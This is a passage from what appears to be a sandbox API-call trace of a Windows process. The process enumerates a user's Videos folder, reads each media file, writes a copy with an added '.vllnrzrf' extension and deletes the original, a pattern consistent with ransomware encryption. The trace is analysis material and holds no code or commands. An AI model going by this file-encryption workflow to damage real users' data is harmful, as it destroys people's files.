ftLastWriteTime.dwHighDateTime=0x1d5e6b1, nFileSizeHigh=0x0, nFileSizeLow=0x1748a, dwReserved0=0x0, dwReserved1=0x0, cFileName="QepoGdVl4LJnbW2.flv", cAlternateFileName="QEPOGD~1.FLV")) returned 1 [0122.405] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e850 | out: lpFindFileData=0x1c87e850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bddf8f0, ftCreationTime.dwHighDateTime=0x1d5d9f3, ftLastAccessTime.dwLowDateTime=0x389a2140, ftLastAccessTime.dwHighDateTime=0x1d5d8d0, ftLastWriteTime.dwLowDateTime=0x389a2140, ftLastWriteTime.dwHighDateTime=0x1d5d8d0, nFileSizeHigh=0x0, nFileSizeLow=0x18f91, dwReserved0=0x0, dwReserved1=0x0, cFileName="S5fN-S7H4qJN.swf", cAlternateFileName="S5FN-S~1.SWF")) returned 1 [0122.405] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e850 | out: lpFindFileData=0x1c87e850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x629a2640, ftCreationTime.dwHighDateTime=0x1d5d815, ftLastAccessTime.dwLowDateTime=0x8a9dfda0, ftLastAccessTime.dwHighDateTime=0x1d5e7e3, ftLastWriteTime.dwLowDateTime=0x8a9dfda0, ftLastWriteTime.dwHighDateTime=0x1d5e7e3, nFileSizeHigh=0x0, nFileSizeLow=0x6cc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="veeGE.flv", cAlternateFileName="")) returned 1 [0122.405] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e850 | out: lpFindFileData=0x1c87e850*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0122.406] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0122.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c87eab0) returned 1 [0122.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c87ea70) returned 1 [0122.407] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\25XkF Ftlk.mp4", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\25XkF Ftlk.mp4", lpFilePart=0x0) returned 0x43 [0122.407] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\25XkF Ftlk.mp4", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\25XkF Ftlk.mp4", lpFilePart=0x0) returned 0x43 [0122.407] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\25XkF Ftlk.mp4", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\25XkF Ftlk.mp4", lpFilePart=0x0) returned 0x43 [0122.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c87ea50) returned 1 [0122.407] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\25XkF Ftlk.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\25xkf ftlk.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0122.407] GetFileType (hFile=0x52c) returned 0x1 [0122.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c87e9c0) returned 1 [0122.407] GetFileType (hFile=0x52c) returned 0x1 [0122.407] GetFileSize (in: hFile=0x52c, lpFileSizeHigh=0x1c87ebe8 | out: lpFileSizeHigh=0x1c87ebe8*=0x0) returned 0x9492 [0122.408] ReadFile (in: hFile=0x52c, lpBuffer=0x2241380, nNumberOfBytesToRead=0x9492, lpNumberOfBytesRead=0x1c87eb18, lpOverlapped=0x0 | out: lpBuffer=0x2241380*, lpNumberOfBytesRead=0x1c87eb18*=0x9492, lpOverlapped=0x0) returned 1 [0122.409] CloseHandle (hObject=0x52c) returned 1 [0122.419] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\25XkF Ftlk.mp4.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\25XkF Ftlk.mp4.vllnrzrf", lpFilePart=0x0) returned 0x4c [0122.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c87ea50) returned 1 [0122.419] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\25XkF Ftlk.mp4.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\25xkf ftlk.mp4.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0122.420] GetFileType (hFile=0x52c) returned 0x1 [0122.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c87e9c0) returned 1 [0122.420] GetFileType (hFile=0x52c) returned 0x1 [0122.420] WriteFile (in: hFile=0x52c, lpBuffer=0x2288e90*, nNumberOfBytesToWrite=0x9692, lpNumberOfBytesWritten=0x1c87eb78, lpOverlapped=0x0 | out: lpBuffer=0x2288e90*, lpNumberOfBytesWritten=0x1c87eb78*=0x9692, lpOverlapped=0x0) returned 1 [0122.422] CloseHandle (hObject=0x52c) returned 1 [0122.423] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\25XkF Ftlk.mp4", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\25XkF Ftlk.mp4", lpFilePart=0x0) returned 0x43 [0122.423] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\25XkF Ftlk.mp4", nBufferLength=0x105, lpBuffer=0x1c87e710, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\25XkF Ftlk.mp4", lpFilePart=0x0) returned 0x43 [0122.423] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\25XkF Ftlk.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\25xkf ftlk.mp4")) returned 1 [0122.426] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\91yKPS7yoWR.swf", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\91yKPS7yoWR.swf", lpFilePart=0x0) returned 0x44 [0122.426] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\91yKPS7yoWR.swf", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\91yKPS7yoWR.swf", lpFilePart=0x0) returned 0x44 [0122.426] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\91yKPS7yoWR.swf", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\91yKPS7yoWR.swf", lpFilePart=0x0) returned 0x44 [0122.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c87ea50) returned 1 [0122.426] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\91yKPS7yoWR.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\91ykps7yowr.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0122.426] GetFileType (hFile=0x52c) returned 0x1 [0122.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c87e9c0) returned 1 [0122.426] GetFileType (hFile=0x52c) returned 0x1 [0122.426] GetFileSize (in: hFile=0x52c, lpFileSizeHigh=0x1c87ebe8 | out: lpFileSizeHigh=0x1c87ebe8*=0x0) returned 0x14ecd [0122.426] ReadFile (in: hFile=0x52c, lpBuffer=0x1232dfd0, nNumberOfBytesToRead=0x14ecd, lpNumberOfBytesRead=0x1c87eb18, lpOverlapped=0x0 | out: lpBuffer=0x1232dfd0*, lpNumberOfBytesRead=0x1c87eb18*=0x14ecd, lpOverlapped=0x0) returned 1 [0122.428] CloseHandle (hObject=0x52c) returned 1 [0122.444] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\91yKPS7yoWR.swf.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\91yKPS7yoWR.swf.vllnrzrf", lpFilePart=0x0) returned 0x4d [0122.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c87ea50) returned 1 [0122.444] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\91yKPS7yoWR.swf.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\91ykps7yowr.swf.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0122.445] GetFileType (hFile=0x52c) returned 0x1 [0122.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c87e9c0) returned 1 [0122.445] GetFileType (hFile=0x52c) returned 0x1 [0122.445] WriteFile (in: hFile=0x52c, lpBuffer=0x123ab988*, nNumberOfBytesToWrite=0x150cd, lpNumberOfBytesWritten=0x1c87eb78, lpOverlapped=0x0 | out: lpBuffer=0x123ab988*, lpNumberOfBytesWritten=0x1c87eb78*=0x150cd, lpOverlapped=0x0) returned 1 [0122.448] CloseHandle (hObject=0x52c) returned 1 [0122.465] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\91yKPS7yoWR.swf", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\91yKPS7yoWR.swf", lpFilePart=0x0) returned 0x44 [0122.465] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\91yKPS7yoWR.swf", nBufferLength=0x105, lpBuffer=0x1c87e710, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\91yKPS7yoWR.swf", lpFilePart=0x0) returned 0x44 [0122.465] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\91yKPS7yoWR.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\91ykps7yowr.swf")) returned 1 [0122.468] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\cxguRw9l.avi", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\cxguRw9l.avi", lpFilePart=0x0) returned 0x41 [0122.468] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\cxguRw9l.avi", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\cxguRw9l.avi", lpFilePart=0x0) returned 0x41 [0122.469] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\cxguRw9l.avi", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\cxguRw9l.avi", lpFilePart=0x0) returned 0x41 [0122.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c87ea50) returned 1 [0122.469] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\cxguRw9l.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\cxgurw9l.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0122.469] GetFileType (hFile=0x52c) returned 0x1 [0122.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c87e9c0) returned 1 [0122.469] GetFileType (hFile=0x52c) returned 0x1 [0122.469] GetFileSize (in: hFile=0x52c, lpFileSizeHigh=0x1c87ebe8 | out: lpFileSizeHigh=0x1c87ebe8*=0x0) returned 0x147fa [0122.469] ReadFile (in: hFile=0x52c, lpBuffer=0x22b71b0, nNumberOfBytesToRead=0x147fa, lpNumberOfBytesRead=0x1c87eb18, lpOverlapped=0x0 | out: lpBuffer=0x22b71b0*, lpNumberOfBytesRead=0x1c87eb18*=0x147fa, lpOverlapped=0x0) returned 1 [0122.471] CloseHandle (hObject=0x52c) returned 1 [0122.484] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\cxguRw9l.avi.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\cxguRw9l.avi.vllnrzrf", lpFilePart=0x0) returned 0x4a [0122.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c87ea50) returned 1 [0122.484] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\cxguRw9l.avi.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\cxgurw9l.avi.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0122.485] GetFileType (hFile=0x52c) returned 0x1 [0122.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c87e9c0) returned 1 [0122.485] GetFileType (hFile=0x52c) returned 0x1 [0122.485] WriteFile (in: hFile=0x52c, lpBuffer=0x2328798*, nNumberOfBytesToWrite=0x149fa, lpNumberOfBytesWritten=0x1c87eb78, lpOverlapped=0x0 | out: lpBuffer=0x2328798*, lpNumberOfBytesWritten=0x1c87eb78*=0x149fa, lpOverlapped=0x0) returned 1 [0122.951] CloseHandle (hObject=0x52c) returned 1 [0122.956] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\cxguRw9l.avi", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\cxguRw9l.avi", lpFilePart=0x0) returned 0x41 [0122.956] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\cxguRw9l.avi", nBufferLength=0x105, lpBuffer=0x1c87e710, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\cxguRw9l.avi", lpFilePart=0x0) returned 0x41 [0122.956] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\cxguRw9l.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\cxgurw9l.avi")) returned 1 [0122.959] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\jloHPSU-Y6vmHOQSdJy.avi", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\jloHPSU-Y6vmHOQSdJy.avi", lpFilePart=0x0) returned 0x4c [0122.959] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\jloHPSU-Y6vmHOQSdJy.avi", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\jloHPSU-Y6vmHOQSdJy.avi", lpFilePart=0x0) returned 0x4c [0122.959] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\jloHPSU-Y6vmHOQSdJy.avi", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\jloHPSU-Y6vmHOQSdJy.avi", lpFilePart=0x0) returned 0x4c [0122.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c87ea50) returned 1 [0122.960] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\jloHPSU-Y6vmHOQSdJy.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\jlohpsu-y6vmhoqsdjy.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0122.960] GetFileType (hFile=0x52c) returned 0x1 [0122.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c87e9c0) returned 1 [0122.960] GetFileType (hFile=0x52c) returned 0x1 [0122.960] GetFileSize (in: hFile=0x52c, lpFileSizeHigh=0x1c87ebe8 | out: lpFileSizeHigh=0x1c87ebe8*=0x0) returned 0xdb2b [0122.960] ReadFile (in: hFile=0x52c, lpBuffer=0x233de28, nNumberOfBytesToRead=0xdb2b, lpNumberOfBytesRead=0x1c87eb18, lpOverlapped=0x0 | out: lpBuffer=0x233de28*, lpNumberOfBytesRead=0x1c87eb18*=0xdb2b, lpOverlapped=0x0) returned 1 [0122.962] CloseHandle (hObject=0x52c) returned 1 [0122.975] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\jloHPSU-Y6vmHOQSdJy.avi.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\jloHPSU-Y6vmHOQSdJy.avi.vllnrzrf", lpFilePart=0x0) returned 0x55 [0122.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c87ea50) returned 1 [0122.975] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\jloHPSU-Y6vmHOQSdJy.avi.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\jlohpsu-y6vmhoqsdjy.avi.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0122.976] GetFileType (hFile=0x52c) returned 0x1 [0122.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c87e9c0) returned 1 [0122.976] GetFileType (hFile=0x52c) returned 0x1 [0122.976] WriteFile (in: hFile=0x52c, lpBuffer=0x238ab58*, nNumberOfBytesToWrite=0xdd2b, lpNumberOfBytesWritten=0x1c87eb78, lpOverlapped=0x0 | out: lpBuffer=0x238ab58*, lpNumberOfBytesWritten=0x1c87eb78*=0xdd2b, lpOverlapped=0x0) returned 1 [0122.985] CloseHandle (hObject=0x52c) returned 1 [0122.992] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\jloHPSU-Y6vmHOQSdJy.avi", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\jloHPSU-Y6vmHOQSdJy.avi", lpFilePart=0x0) returned 0x4c [0122.992] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\jloHPSU-Y6vmHOQSdJy.avi", nBufferLength=0x105, lpBuffer=0x1c87e710, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\jloHPSU-Y6vmHOQSdJy.avi", lpFilePart=0x0) returned 0x4c [0122.992] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\jloHPSU-Y6vmHOQSdJy.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\jlohpsu-y6vmhoqsdjy.avi")) returned 1 [0122.995] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\N2Hjg3fU.flv", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\N2Hjg3fU.flv", lpFilePart=0x0) returned 0x41 [0122.995] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\N2Hjg3fU.flv", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\N2Hjg3fU.flv", lpFilePart=0x0) returned 0x41 [0122.995] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\N2Hjg3fU.flv", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\N2Hjg3fU.flv", lpFilePart=0x0) returned 0x41 [0122.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c87ea50) returned 1 [0122.995] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\N2Hjg3fU.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\n2hjg3fu.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0122.995] GetFileType (hFile=0x52c) returned 0x1 [0122.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c87e9c0) returned 1 [0122.996] GetFileType (hFile=0x52c) returned 0x1 [0122.996] GetFileSize (in: hFile=0x52c, lpFileSizeHigh=0x1c87ebe8 | out: lpFileSizeHigh=0x1c87ebe8*=0x0) returned 0xd0b [0122.996] ReadFile (in: hFile=0x52c, lpBuffer=0x239a230, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c87eb18, lpOverlapped=0x0 | out: lpBuffer=0x239a230*, lpNumberOfBytesRead=0x1c87eb18*=0xd0b, lpOverlapped=0x0) returned 1 [0122.997] CloseHandle (hObject=0x52c) returned 1 [0123.001] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\N2Hjg3fU.flv.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\N2Hjg3fU.flv.vllnrzrf", lpFilePart=0x0) returned 0x4a [0123.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c87ea50) returned 1 [0123.001] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\N2Hjg3fU.flv.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\n2hjg3fu.flv.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0123.001] GetFileType (hFile=0x52c) returned 0x1 [0123.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c87e9c0) returned 1 [0123.002] GetFileType (hFile=0x52c) returned 0x1 [0123.002] WriteFile (in: hFile=0x52c, lpBuffer=0x23a4970*, nNumberOfBytesToWrite=0xf0b, lpNumberOfBytesWritten=0x1c87ea28, lpOverlapped=0x0 | out: lpBuffer=0x23a4970*, lpNumberOfBytesWritten=0x1c87ea28*=0xf0b, lpOverlapped=0x0) returned 1 [0123.003] CloseHandle (hObject=0x52c) returned 1 [0123.009] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\N2Hjg3fU.flv", nBufferLength=0x105, lpBuffer=0x1c87e570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\N2Hjg3fU.flv", lpFilePart=0x0) returned 0x41 [0123.011] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\N2Hjg3fU.flv", nBufferLength=0x105, lpBuffer=0x1c87e710, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS 